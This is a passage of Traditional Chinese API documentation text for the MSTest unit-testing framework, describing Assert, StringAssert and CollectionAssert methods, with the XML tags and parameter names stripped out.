要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is not equal to . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 擲回 AssertFailedException。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 「靜態等於多載」用於比較兩種類型的執行個體的參考 - 相等。這種方法不應該用於比較兩個執行個體是否 - 相等。這個物件一律會擲出 Assert.Fail。請在單元測試中使用 - Assert.AreEqual 和相關聯多載。 - - 物件 A - 物件 B - 一律為 False。 - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 以 "\\0" 取代 null 字元 ('\0')。 - - - 要搜尋的字串。 - - - null 字元以 "\\0" 取代的已轉換字串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 建立並擲回 AssertionFailedException 的 Helper 函數 - - - 擲回例外狀況的判斷提示名稱 - - - 描述判斷提示失敗條件的訊息 - - - 參數。 - - - - - 檢查參數的有效條件 - - - 參數。 - - - 判斷提示「名稱」。 - - - 參數名稱 - - - 無效參數例外狀況的訊息 - - - 參數。 - - - - - 將物件安全地轉換成字串,並處理 null 值和 null 字元。 - Null 值會轉換成 "(null)"。Null 字元會轉換成 "\\0"。 - - - 要轉換為字串的物件。 - - - 已轉換的字串。 - - - - - 字串判斷提示。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if matches . - - - - - 要測試與單元測試內集合相關聯之各種條件的 - 協助程式類別集合。如果不符合正在測試的條件, - 則會擲回例外狀況。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - 